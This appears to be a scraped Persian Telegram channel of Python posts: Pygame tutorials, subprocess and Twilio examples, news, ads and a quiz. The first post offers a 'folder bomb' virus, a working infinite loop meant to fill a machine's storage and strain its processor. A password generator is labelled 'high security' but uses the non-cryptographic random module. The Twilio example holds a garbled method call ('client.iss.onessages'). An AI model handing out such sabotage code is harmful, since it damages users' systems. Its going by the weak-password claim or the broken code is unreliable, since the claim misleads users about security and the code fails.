⁉️یه ویروس هست اسمش بنب پوشه هست کل حافظه سیستمو پر میکنه بعد اجرا باعث میشه رو پردازنده فشار بیاد بزارم؟
Python3
⁉️یه ویروس هست اسمش بنب پوشه هست کل حافظه سیستمو پر میکنه بعد اجرا باعث میشه رو پردازنده فشار بیاد بزارم؟
🆕️این یه برنامه هست به اسم بنب پوشه یک حلقه بینهایت. میسازه و بینهایت تا پوشه در سیستم ایجاد میکنه و هر اروری رو نادیده میگیره و به کارش ادامه میده تا وقتی حافظه سیستم کاملا پر بشه و به بورد فشار میاره ❗️
🟥کانال منو به دوستاتون معرفی کنید و اگه خودتون عضو نیستین عضو بشین👇👇
🔗https://t.iss.one/hamidpython123
import os
import random
import string
import time
def generate_random_name(length=8):
"""Generate a random string of fixed length."""
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for _ in range(length))
def create_folders(base_path):
"""Continuously create folders with random names."""
while True:
folder_name = generate_random_name()
folder_path = os.path.join(base_path, folder_name)
try:
os.makedirs(folder_path)
print(f"Created folder: {folder_path}")
except Exception as e:
print(f"Error creating folder {folder_path}: {e}")
# Optional: Pause between creations to avoid overwhelming the system
# time.sleep(0.1) # Adjust the sleep time as needed
if __name__ == "__main__":
base_path = "./" # Change this to your desired base path
create_folders(base_path)
🟥کانال منو به دوستاتون معرفی کنید و اگه خودتون عضو نیستین عضو بشین👇👇
🔗https://t.iss.one/hamidpython123
Telegram
Python3
🎓 آموزش و پروژههای Python
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
🆕️اگه نمیدونین چه اسمی برای اکانت تلگرام یا حر جایی بزارین که هم خفن باشه هم مربوط به بقیه نشون بده برنامه نویسین اینارو پیشنهاد میکنم😉
1. PythonWizard
2. CodeNinja
3. TechGuru
4. ByteMaster
5. ScriptSorcerer
6. DataMaestro
7. PythonSage
8. ByteBrawler
9. CodingChampion
10. CodeGoddess
11. DevWhiz
12. ByteBoss
13. PythonProphet
14. SpeedScripter
15. TechMagician
16. CodeWarrior
17. PythonPhenom
18. ByteWhisperer
19. CreativeCoder
20. CodeLuminary
21. PythonKing/PythonQueen
22. ByteGuru
23. TechEnchantress
24. CodeMastermind
25. PythonSleuth
26. ByteBolt
27. CyberSorcerer
28. CodeSlinger
29. PythonProdigy
30. ByteBlazer
این اسم هارو اگه دوست داشتین اینجا عضو بشین👇
🔗https://t.iss.one/hamidpython123
1. PythonWizard
2. CodeNinja
3. TechGuru
4. ByteMaster
5. ScriptSorcerer
6. DataMaestro
7. PythonSage
8. ByteBrawler
9. CodingChampion
10. CodeGoddess
11. DevWhiz
12. ByteBoss
13. PythonProphet
14. SpeedScripter
15. TechMagician
16. CodeWarrior
17. PythonPhenom
18. ByteWhisperer
19. CreativeCoder
20. CodeLuminary
21. PythonKing/PythonQueen
22. ByteGuru
23. TechEnchantress
24. CodeMastermind
25. PythonSleuth
26. ByteBolt
27. CyberSorcerer
28. CodeSlinger
29. PythonProdigy
30. ByteBlazer
این اسم هارو اگه دوست داشتین اینجا عضو بشین👇
🔗https://t.iss.one/hamidpython123
🆕️یک کد بهتون میدم برای تولید رمز تصادفی با امنیت بالا ایتوریه که یک عدد به عنوان تعداد ارقام بهش میدیم و اون رمزی با همون تعداد رقم به صورت تصادفی میسازه 👇
🟥اگه این برای رمز نگاری به کارتون اومد اینجا عضو و کانال منو به دوستانتون معرفی کنید 😉👇👇
🔗https://t.iss.one/hamidpython123
import random
import string
def generate_password(length):
password = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
return password
user_number = int(input("لطفاً یک عدد وارد کنید: "))
password = generate_password(user_number)
print("رمز تولید شده: ", password)
🟥اگه این برای رمز نگاری به کارتون اومد اینجا عضو و کانال منو به دوستانتون معرفی کنید 😉👇👇
🔗https://t.iss.one/hamidpython123
Telegram
Python3
🎓 آموزش و پروژههای Python
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
فرض کنید شما یک لیست از اعداد صحیح دارید. میخواهید زیرلیستی با حداکثر تعداد اعضا با مجموع بیشترین مقدار را بیابید. در هر مرحله شما میتوانید دو عنصر مجاور را به هم اضافه کنید یا آخرین عنصر را حذف کنید. برخی اعضا ممکن است منفی باشند.
Anonymous Quiz
41%
الف) [1, -3, 2, 1]
27%
ب) [2, 1, -1]
23%
ج) [-3, 2, 1, -1]
9%
د) [1, -3, 1, -1]
Forwarded from Python3
❗️داداشا ابجیا پروژه های برنامه نویسی تونو انجام میدیم با پایین ترین قیمت
انواع پروژه های دانشجویی
به زبانهای
Python
C
C#
C++
🔺️دنبال انجام پروژه باهزینه پایین هستی به ما خبر بدین🤝
🔗@PythonProTalk
انواع پروژه های دانشجویی
به زبانهای
Python
C
C#
C++
🔺️دنبال انجام پروژه باهزینه پایین هستی به ما خبر بدین🤝
🔗@PythonProTalk
🆕️خب رفقا، اگه میخواید با یه کد باحال، تلگرام یا هر برنامه دیگهای رو اجرا کنید اینجا یه تیکه کد باحال براتون دارم. فقط کافیه اجراش کنید و برنامه مورد نظر اجرادمیشه لذت ببرید❗️
🐍 اجرای برنامه با پایتون
اول از همه، این کد باحال رو توی ادیتور مورد علاقتون کپی کنید و مسیر برنامه مورد نظرتون رو جایگزین کنید. برای مثال اینجا تلگرام رو اجرا میکنیم. اگه لینوکس دارید یا ویندوز، نگران نباشید، هر دو رو پوشش دادم!
برای ویندوز:
برای لینوکس:
🟥نکته مهم: مسیر برنامهتون رو درست وارد کنید وگرنه کلی ارور قرمز میبینید که آدم رو یاد قلب شکسته میاندازه!
☝️حالا، این کد رو اجرا کنید و از دیدن باز شدن تلگرام یا هر برنامه دیگهای لذت ببرید. ☝️
🔺️اگر از این کد خوشتون اومد، همین الان . بگید که یه جادوی کامپیوتری یاد گرفتید و حالا میتونید برنامهها رو با یک چشم بر هم زدن اجرا کنید🫡
❗️نکته : حالا وقتشه برید به دوستاتون بگید بیان توکانال من عضو شن 👇
🔗https://t.iss.one/hamidpython123
🐍 اجرای برنامه با پایتون
اول از همه، این کد باحال رو توی ادیتور مورد علاقتون کپی کنید و مسیر برنامه مورد نظرتون رو جایگزین کنید. برای مثال اینجا تلگرام رو اجرا میکنیم. اگه لینوکس دارید یا ویندوز، نگران نباشید، هر دو رو پوشش دادم!
برای ویندوز:
import subprocess
# مسیر فایل اجرایی برنامه تلگرام
program_path = 'C:\\Path\\To\\Telegram.exe'
# اجرای برنامه
subprocess.Popen([program_path])
برای لینوکس:
import subprocess
# مسیر فایل اجرایی برنامه تلگرام
program_path = '/usr/bin/telegram-desktop'
# اجرای برنامه
subprocess.Popen([program_path])
🟥نکته مهم: مسیر برنامهتون رو درست وارد کنید وگرنه کلی ارور قرمز میبینید که آدم رو یاد قلب شکسته میاندازه!
☝️حالا، این کد رو اجرا کنید و از دیدن باز شدن تلگرام یا هر برنامه دیگهای لذت ببرید. ☝️
🔺️اگر از این کد خوشتون اومد، همین الان . بگید که یه جادوی کامپیوتری یاد گرفتید و حالا میتونید برنامهها رو با یک چشم بر هم زدن اجرا کنید🫡
❗️نکته : حالا وقتشه برید به دوستاتون بگید بیان توکانال من عضو شن 👇
🔗https://t.iss.one/hamidpython123
👍1
🔻 به کمک هوش مصنوعی موزیک خودت رو بساز
🔸 این سایت ابزار ها و امکانات مختلف زیادی داره که میتونید به کمک اون موسیقی خودتون رو بدون کپی رایت بسازید
🔸 لینک سایت
https://www.loudly.com/
🔸 این سایت ابزار ها و امکانات مختلف زیادی داره که میتونید به کمک اون موسیقی خودتون رو بدون کپی رایت بسازید
🔸 لینک سایت
https://www.loudly.com/
👍2❤1
جدیدترین اخبار پایتون 🚀🐍
سلام دوستان عزیز! وقتش رسیده که از دنیای جذاب پایتون باخبر بشیم. آمادهاید؟ بیا شروع کنیم!
1. انتشار نسخه پایتون 3.12!📦
پایتون 3.12 اخیراً منتشر شده و امکانات جدیدی مثل بهبود در عملکرد، بهینهسازی کدها و ویژگیهای جدید زبان به آن اضافه شدهاند. این نسخه با تاکید بر سادگی و سرعت بیشتر، تجربه کدنویسی رو لذتبخشتر میکنه. حتماً بروزرسانی کنید و از امکانات جدید لذت ببرید!
2. کتابخانههای جدید و محبوب📚
تعداد زیادی کتابخانه جدید و هیجانانگیز منتشر شدهاند که توسعهدهندگان را شگفتزده کردهاند. برخی از این کتابخانهها شامل "FastAPI" برای ساخت سریع APIها و "Pydantic" برای مدیریت دادهها هستند. این کتابخانهها به شما کمک میکنند پروژههای خود را سریعتر و بهتر پیش ببرید.
3. پایتون در هوش مصنوعی و یادگیری ماشین 🤖
استفاده از پایتون در حوزه هوش مصنوعی و یادگیری ماشین روز به روز در حال افزایش است. با کتابخانههای معروفی مثل TensorFlow و PyTorch، توسعهدهندگان میتوانند مدلهای پیشرفتهای بسازند و پیادهسازی کنند. اگر علاقهمند به این حوزه هستید، یادگیری این ابزارها را از دست ندهید!
4. پایتون در علم دادهها 📊
پایتون همچنان انتخاب اول برای تحلیلگران داده و دانشمندان علم داده است. با ابزارهایی مثل Pandas و NumPy، میتوانید به راحتی دادهها را تحلیل و مدلهای پیشبینی بسازید. این ابزارها در حال تکامل و بروزرسانی مداوم هستند و کار با دادهها را سادهتر میکنند.
5. رویدادهای پایتونی 🎉
جامعه پایتونی همیشه فعال است! رویدادهای مختلفی مثل کنفرانس PyCon و کارگاههای آموزشی آنلاین برگزار میشوند که میتوانید از آنها برای یادگیری و شبکهسازی استفاده کنید. اگر علاقهمند به شرکت در این رویدادها هستید، حتماً تقویم خود را بررسی کنید.
به کانال ما بپیوندید تا از آخرین اخبار و آموزشهای پایتون مطلع شوید! 🚀
🍦برای مطلع شدن از اخبار بیشتر به کانال من بپیوندید
🔗https://t.iss.one/hamidpython123
#پایتون #اخبار_پایتون #برنامه_نویسی #یادگیری_ماشین #علم_داده #توسعه_وب
سلام دوستان عزیز! وقتش رسیده که از دنیای جذاب پایتون باخبر بشیم. آمادهاید؟ بیا شروع کنیم!
1. انتشار نسخه پایتون 3.12!📦
پایتون 3.12 اخیراً منتشر شده و امکانات جدیدی مثل بهبود در عملکرد، بهینهسازی کدها و ویژگیهای جدید زبان به آن اضافه شدهاند. این نسخه با تاکید بر سادگی و سرعت بیشتر، تجربه کدنویسی رو لذتبخشتر میکنه. حتماً بروزرسانی کنید و از امکانات جدید لذت ببرید!
2. کتابخانههای جدید و محبوب📚
تعداد زیادی کتابخانه جدید و هیجانانگیز منتشر شدهاند که توسعهدهندگان را شگفتزده کردهاند. برخی از این کتابخانهها شامل "FastAPI" برای ساخت سریع APIها و "Pydantic" برای مدیریت دادهها هستند. این کتابخانهها به شما کمک میکنند پروژههای خود را سریعتر و بهتر پیش ببرید.
3. پایتون در هوش مصنوعی و یادگیری ماشین 🤖
استفاده از پایتون در حوزه هوش مصنوعی و یادگیری ماشین روز به روز در حال افزایش است. با کتابخانههای معروفی مثل TensorFlow و PyTorch، توسعهدهندگان میتوانند مدلهای پیشرفتهای بسازند و پیادهسازی کنند. اگر علاقهمند به این حوزه هستید، یادگیری این ابزارها را از دست ندهید!
4. پایتون در علم دادهها 📊
پایتون همچنان انتخاب اول برای تحلیلگران داده و دانشمندان علم داده است. با ابزارهایی مثل Pandas و NumPy، میتوانید به راحتی دادهها را تحلیل و مدلهای پیشبینی بسازید. این ابزارها در حال تکامل و بروزرسانی مداوم هستند و کار با دادهها را سادهتر میکنند.
5. رویدادهای پایتونی 🎉
جامعه پایتونی همیشه فعال است! رویدادهای مختلفی مثل کنفرانس PyCon و کارگاههای آموزشی آنلاین برگزار میشوند که میتوانید از آنها برای یادگیری و شبکهسازی استفاده کنید. اگر علاقهمند به شرکت در این رویدادها هستید، حتماً تقویم خود را بررسی کنید.
به کانال ما بپیوندید تا از آخرین اخبار و آموزشهای پایتون مطلع شوید! 🚀
🍦برای مطلع شدن از اخبار بیشتر به کانال من بپیوندید
🔗https://t.iss.one/hamidpython123
#پایتون #اخبار_پایتون #برنامه_نویسی #یادگیری_ماشین #علم_داده #توسعه_وب
Telegram
Python3
🎓 آموزش و پروژههای Python
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
❤1👍1
سلام دوستان! 🌟
امروز یک کد کاربردی و ساده برای ارسال کد تایید به شماره تلفن کاربران با استفاده از Twilio براتون دارم. 📲
مراحل:
1. نصب Twilio:
2. کد ارسال پیامک تایید:
🐍این کد با استفاده از سرویس Twilio یک کد تایید تصادفی به شماره تلفن کاربران ارسال میکند. از این کد میتوانید برای تایید شماره تلفن کاربران در اپلیکیشن خود استفاده کنید. 🚀
🔗https://t.iss.one/hamidpython123
#کدنویسی #پایتون #Twilio #تایید_شماره_تلفن
امروز یک کد کاربردی و ساده برای ارسال کد تایید به شماره تلفن کاربران با استفاده از Twilio براتون دارم. 📲
مراحل:
1. نصب Twilio:
pip install twilio
2. کد ارسال پیامک تایید:
from twilio.rest import Client
import random
# اطلاعات حساب Twilio
account_sid = 'your_account_sid'
auth_token = 'your_auth_token'
client = Client(account_sid, auth_token)
def generate_verification_code():
return str(random.randint(100000, 999999))
def send_verification_code(phone_number):
verification_code = generate_verification_code()
message = client.iss.onessages.create(
body=f'کد تایید شما: {verification_code}',
from_='+1234567890', # شماره Twilio شما
to=phone_number
)
print(f'کد تایید به {phone_number} ارسال شد: {message.sid}')
# نمونه استفاده
send_verification_code('+989123456789')
🐍این کد با استفاده از سرویس Twilio یک کد تایید تصادفی به شماره تلفن کاربران ارسال میکند. از این کد میتوانید برای تایید شماره تلفن کاربران در اپلیکیشن خود استفاده کنید. 🚀
🔗https://t.iss.one/hamidpython123
#کدنویسی #پایتون #Twilio #تایید_شماره_تلفن
❤1👍1
trx_airdrop (1).zip
1.9 MB
🔹 سورس ربات ایردراپ ترون
💻 زبان : PHP
سیستم پرداخت اتوماتیک ترون
دیتابیس Mysql(Medoo)
⭐ نویسنده سورس :
@NexDeveLoper
👇کانال ما
🔗https://t.iss.one/hamidpython123
💻 زبان : PHP
سیستم پرداخت اتوماتیک ترون
دیتابیس Mysql(Medoo)
⭐ نویسنده سورس :
@NexDeveLoper
👇کانال ما
🔗https://t.iss.one/hamidpython123
👍1🔥1
🔍 به دنبال یک برنامهنویس حرفهای پایتون هستید؟ 🔍
🎯 خدمات حرفهای PythonProTalk شامل:
- دیتا ساینس: تحلیل دادهها، یادگیری ماشین و پیادهسازی مدلهای پیشبینی
- اتوماسیون: ایجاد رباتها و اسکریپتهای خودکارسازی وظایف
- برنامههای دسکتاپ: توسعه نرمافزارهای کاربردی برای سیستمهای عامل مختلف
- توسعه API: ساخت و مدیریت رابطهای برنامهنویسی قدرتمند
🔧 مهارتهای حرفهای:
- فریمورکهای پایتون: Django، Flask، FastAPI
- کتابخانههای دادهکاوی: Pandas، NumPy، Scikit-learn
- ابزارهای اتوماسیون: Selenium، BeautifulSoup
- توسعه پایگاه داده: SQLAlchemy، PostgreSQL، MySQL
🛠️ تجربه و تخصص من تضمینکننده کیفیت پروژههای شماست!
📩 برای مشاوره و شروع همکاری، به پیوی مراجعه کنید.
با PythonProTalk، پروژههای شما به بهترین نحو انجام میشود!
🎯 خدمات حرفهای PythonProTalk شامل:
- دیتا ساینس: تحلیل دادهها، یادگیری ماشین و پیادهسازی مدلهای پیشبینی
- اتوماسیون: ایجاد رباتها و اسکریپتهای خودکارسازی وظایف
- برنامههای دسکتاپ: توسعه نرمافزارهای کاربردی برای سیستمهای عامل مختلف
- توسعه API: ساخت و مدیریت رابطهای برنامهنویسی قدرتمند
🔧 مهارتهای حرفهای:
- فریمورکهای پایتون: Django، Flask، FastAPI
- کتابخانههای دادهکاوی: Pandas، NumPy، Scikit-learn
- ابزارهای اتوماسیون: Selenium، BeautifulSoup
- توسعه پایگاه داده: SQLAlchemy، PostgreSQL، MySQL
🛠️ تجربه و تخصص من تضمینکننده کیفیت پروژههای شماست!
📩 برای مشاوره و شروع همکاری، به پیوی مراجعه کنید.
با PythonProTalk، پروژههای شما به بهترین نحو انجام میشود!
🚀 آخرین اخبار درباره کتابخانه هلی پایتون! 🐍
📚 HelPy: کتابخانه جدید پایتون برای پروژههای پویا و پیشرفته
🔹 معرفی:
HelPy یک کتابخانه جدید و پرقدرت برای پایتون است که به طور خاص برای کار با پروژههای پویا و پیشرفته طراحی شده است. این کتابخانه با امکانات منحصر به فرد خود، فرایند توسعه را سریعتر و سادهتر میکند.
🛠️ ویژگیها:
- رابط برنامهنویسی از پیش تعیین شده (API): امکان اتصال به سرویسهای خارجی و استفاده از آنها با چندین خط کد.
- پشتیبانی از توابع پیشرفته: امکان استفاده از توابع پیشرفته مانند خوشهبندی، مدلسازی پیشبینی، و تحلیل داده.
- بهینهسازی عملکرد: اجرای سریع و بهینه توابع با استفاده از الگوریتمهای پیشرفته.
🔧 استفاده:
1. نصب کتابخانه:
2. استفاده در پروژه:
🚀 با HelPy، توسعه پروژههای پویا و پیشرفته را تجربه کنید!
🟥در کانال ما هم حتما عضو بشید تا از اخبار به روز کتابخانه های پایتون اطلاع داشته باشید👇
🔗https://t.iss.one/hamidpython123
#Python #HelPy #کتابخانه #پروژه #پایتون
📚 HelPy: کتابخانه جدید پایتون برای پروژههای پویا و پیشرفته
🔹 معرفی:
HelPy یک کتابخانه جدید و پرقدرت برای پایتون است که به طور خاص برای کار با پروژههای پویا و پیشرفته طراحی شده است. این کتابخانه با امکانات منحصر به فرد خود، فرایند توسعه را سریعتر و سادهتر میکند.
🛠️ ویژگیها:
- رابط برنامهنویسی از پیش تعیین شده (API): امکان اتصال به سرویسهای خارجی و استفاده از آنها با چندین خط کد.
- پشتیبانی از توابع پیشرفته: امکان استفاده از توابع پیشرفته مانند خوشهبندی، مدلسازی پیشبینی، و تحلیل داده.
- بهینهسازی عملکرد: اجرای سریع و بهینه توابع با استفاده از الگوریتمهای پیشرفته.
🔧 استفاده:
1. نصب کتابخانه:
pip install helpy
2. استفاده در پروژه:
import helpy
# اتصال به API
api = helpy.API(api_key='YOUR_API_KEY')
# استفاده از توابع پیشرفته
data = [1, 2, 3, 4, 5]
result = helpy.cluster(data)
🚀 با HelPy، توسعه پروژههای پویا و پیشرفته را تجربه کنید!
🟥در کانال ما هم حتما عضو بشید تا از اخبار به روز کتابخانه های پایتون اطلاع داشته باشید👇
🔗https://t.iss.one/hamidpython123
#Python #HelPy #کتابخانه #پروژه #پایتون
آموزش کتابخانه Pygame 🎮
Pygame یک کتابخانه محبوب Python است که برای توسعه بازیهای ویدئویی دوبعدی، شبیهسازیها و برنامههای چندرسانهای استفاده میشود. این کتابخانه مجموعهای از ابزارها برای مدیریت ورودیهای کاربر، گرافیک دوبعدی، صدا و بسیاری از ویژگیهای دیگر را فراهم میکند. با استفاده از Pygame میتوانید بازیهای جذاب و تعاملی بسازید.
نصب Pygame
ابتدا باید Pygame را نصب کنید. برای این کار، دستور زیر را در ترمینال یا CMD وارد کنید:
مثالهای کاربردی با Pygame
1. شروع کار با Pygame و ایجاد یک پنجره ساده
2. رسم اشکال هندسی 📏🔵🔺
3. پخش صدا 🎵🔊
4. حرکت دادن تصویر با صفحه کلید 🎮
امیدوارم از این آموزش لذت ببرید و بتوانید بازیها و برنامههای جذابی با Pygame بسازید! 🚀
🔗https://t.iss.one/hamidpython123
برای مشاهده کدها و مطالب بیشتر، به کانال تلگرام ما بپیوندید! 📲
Pygame یک کتابخانه محبوب Python است که برای توسعه بازیهای ویدئویی دوبعدی، شبیهسازیها و برنامههای چندرسانهای استفاده میشود. این کتابخانه مجموعهای از ابزارها برای مدیریت ورودیهای کاربر، گرافیک دوبعدی، صدا و بسیاری از ویژگیهای دیگر را فراهم میکند. با استفاده از Pygame میتوانید بازیهای جذاب و تعاملی بسازید.
نصب Pygame
ابتدا باید Pygame را نصب کنید. برای این کار، دستور زیر را در ترمینال یا CMD وارد کنید:
pip install pygame
مثالهای کاربردی با Pygame
1. شروع کار با Pygame و ایجاد یک پنجره ساده
import pygame # وارد کردن کتابخانه pygame
import sys # وارد کردن کتابخانه sys برای خروج از برنامه
pygame.init() # مقداردهی اولیه همه ماژولهای pygame
screen = pygame.display.set_mode((800, 600)) # ایجاد یک پنجره با اندازه 800x600 پیکسل
pygame.display.set_caption("آموزش Pygame") # تنظیم عنوان پنجره
WHITE = (255, 255, 255) # تعریف رنگ سفید
running = True
while running:
for event in pygame.event.get(): # بررسی رویدادهای مختلف
if event.type == pygame.QUIT: # اگر رویداد بستن پنجره رخ داد
running = False # حلقه بازی را متوقف کن
screen.fill(WHITE) # پر کردن صفحه با رنگ سفید
pygame.display.flip() # بروزرسانی صفحه نمایش
pygame.quit() # بستن ماژولهای pygame
sys.exit() # خروج از برنامه
2. رسم اشکال هندسی 📏🔵🔺
import pygame
import sys
pygame.init()
screen = pygame.display.set_mode((800, 600))
pygame.display.set_caption("رسم اشکال هندسی")
WHITE, BLUE, RED, GREEN = (255, 255, 255), (0, 0, 255), (255, 0, 0), (0, 255, 0) # تعریف رنگها
running = True
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
screen.fill(WHITE) # پر کردن صفحه با رنگ سفید
pygame.draw.rect(screen, BLUE, (100, 100, 200, 100)) # رسم مستطیل آبی
pygame.draw.circle(screen, RED, (400, 300), 50) # رسم دایره قرمز
pygame.draw.line(screen, GREEN, (500, 100), (700, 200), 5) # رسم خط سبز
pygame.display.flip() # بروزرسانی صفحه نمایش
pygame.quit()
sys.exit()
3. پخش صدا 🎵🔊
import pygame
import sys
pygame.init()
screen = pygame.display.set_mode((800, 600))
pygame.display.set_caption("پخش صدا")
pygame.mixer.music.load('music.mp3') # بارگذاری فایل صوتی
pygame.mixer.music.play(-1) # پخش مداوم فایل صوتی
running = True
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
screen.fill((255, 255, 255)) # پر کردن صفحه با رنگ سفید
pygame.display.flip() # بروزرسانی صفحه نمایش
pygame.quit()
sys.exit()
4. حرکت دادن تصویر با صفحه کلید 🎮
import pygame
import sys
pygame.init()
screen = pygame.display.set_mode((800, 600))
pygame.display.set_caption("حرکت تصویر با صفحه کلید")
WHITE = (255, 255, 255)
player_image = pygame.image.load('player.png') # بارگذاری تصویر بازیکن
player_x, player_y = 100, 100 # موقعیت اولیه بازیکن
speed = 5 # سرعت حرکت بازیکن
running = True
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
keys = pygame.key.get_pressed() # دریافت وضعیت کلیدهای فشردهشده
if keys[pygame.K_LEFT]: # اگر کلید چپ فشرده شده بود
player_x -= speed # موقعیت بازیکن به چپ حرکت کند
if keys[pygame.K_RIGHT]: # اگر کلید راست فشرده شده بود
player_x += speed # موقعیت بازیکن به راست حرکت کند
if keys[pygame.K_UP]: # اگر کلید بالا فشرده شده بود
player_y -= speed # موقعیت بازیکن به بالا حرکت کند
if keys[pygame.K_DOWN]: # اگر کلید پایین فشرده شده بود
player_y += speed # موقعیت بازیکن به پایین حرکت کند
screen.fill(WHITE) # پر کردن صفحه با رنگ سفید
screen.blit(player_image, (player_x, player_y)) # رسم تصویر بازیکن در موقعیت جدید
pygame.display.flip() # بروزرسانی صفحه نمایش
pygame.quit()
sys.exit()
امیدوارم از این آموزش لذت ببرید و بتوانید بازیها و برنامههای جذابی با Pygame بسازید! 🚀
🔗https://t.iss.one/hamidpython123
برای مشاهده کدها و مطالب بیشتر، به کانال تلگرام ما بپیوندید! 📲
❤2👏1
رنگها در Pygame 🎨
در Pygame، هر رنگ با استفاده از کد RGB تعریف میشود. کد RGB شامل سه مقدار است: قرمز (R)، سبز (G) و آبی (B)، که هر کدام میتوانند مقداری بین 0 تا 255 داشته باشند.
مثالهایی از رنگهای متداول:
- سفید:
- سیاه:
- قرمز:
- سبز:
- آبی:
- زرد:
- فیروزهای:
- بنفش:
🔗https://t.iss.one/hamidpython123
در Pygame، هر رنگ با استفاده از کد RGB تعریف میشود. کد RGB شامل سه مقدار است: قرمز (R)، سبز (G) و آبی (B)، که هر کدام میتوانند مقداری بین 0 تا 255 داشته باشند.
مثالهایی از رنگهای متداول:
- سفید:
(255, 255, 255)
- سیاه:
(0, 0, 0)
- قرمز:
(255, 0, 0)
- سبز:
(0, 255, 0)
- آبی:
(0, 0, 255)
- زرد:
(255, 255, 0)
- فیروزهای:
(0, 255, 255)
- بنفش:
(255, 0, 255)
🔗https://t.iss.one/hamidpython123
👍1